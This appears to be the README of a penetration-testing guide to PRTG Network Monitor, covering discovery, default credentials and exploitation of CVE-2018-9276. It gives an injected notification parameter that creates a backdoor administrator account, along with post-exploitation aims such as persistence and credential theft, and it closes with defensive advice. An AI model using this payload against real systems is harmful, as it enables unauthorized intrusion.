PRTG Network Monitor

Comprehensive guide to discovering, enumerating, and exploiting PRTG Network Monitor during penetration tests.

Contents

• overview.md - Background information, key facts about PRTG, and prevalence in assessments
• discovery.md - Network discovery, service fingerprinting, and enumeration techniques
• exploitation.md - Detailed exploitation of CVE-2018-9276 (authenticated command injection)
• post-exploitation.md - Post-exploitation techniques, persistence mechanisms, and lateral movement

Quick Reference

Discovery

nmap -sV -p- --open -T4 <target>  # Look for "Paessler PRTG"
curl -s http://<target>:8080/index.htm | grep version  # Version detection

Default Credentials

• prtgadmin:prtgadmin (often active)

Exploitation (CVE-2018-9276)

1. Login with valid credentials
2. Setup → Account Settings → Notifications → Add Notification
3. Select “Execute Program” option
4. Program: Demo exe notification - outfile.ps1
5. Parameter: test.txt;net user prtgadm1 Pwn3d_by_PRTG! /add;net localgroup administrators prtgadm1 /add
6. Click Save
7. Click Test button to execute

Verification

crackmapexec smb <target> -u prtgadm1 -p "Pwn3d_by_PRTG!"

Key Vulnerabilities

Affected Systems

• PRTG Network Monitor before version 18.2.39
• ~300,000 users worldwide (frequently found in internal assessments)
• Commonly used to monitor critical infrastructure and network devices

Common Scenarios

Internal Assessment

PRTG is one of the most commonly encountered monitoring solutions in internal penetration tests. After gaining initial access or during post-compromise exploitation, PRTG provides:

• Direct command execution with SYSTEM privileges
• Access to network intelligence (monitored devices)
• Credentials for other systems (stored in PRTG configuration)
• Persistence opportunities through scheduled notifications

Detection Difficulty

• Low external exposure (internal tool)
• Clear identification during service enumeration
• Often accessible after initial compromise
• Default credentials frequently unchanged

Testing Methodology

1. Discover - Nmap, EyeWitness, vulnerability scanners
2. Enumerate - Version detection, identify vulnerable versions
3. Authenticate - Try default or discovered credentials
4. Exploit - CVE-2018-9276 notification command injection
5. Establish Access - Create admin user, reverse shell, persistence
6. Document - Evidence for report, artifact removal if authorized

Resources

• Original Vulnerability Discovery: https://blog.paessler.com/ (search for security advisories)
• HTB Box: “Netmon” (showcases PRTG exploitation)
• Paessler PRTG Official: https://www.paessler.com/prtg
• Version History: Check for patch status and upgrade recommendations

Notes for Assessments

• Privilege Level: Exploitation yields SYSTEM-level access
• Noise Level: Command execution is blind (no output), minimize test activity
• Detection: Monitor for new user accounts and scheduled tasks
• Persistence: Scheduled notifications provide built-in persistence mechanism
• Credentials: PRTG often stores credentials for monitored infrastructure
• Lateral Movement: Use compromised PRTG host to access monitored systems

Defensive Recommendations

• Upgrade to version 18.2.39 or later
• Restrict PRTG administrative access to trusted networks
• Use strong, unique passwords for PRTG admin accounts
• Monitor for creation of new notifications and users
• Implement least privilege for PRTG service account
• Regular security audits of PRTG configuration and access logs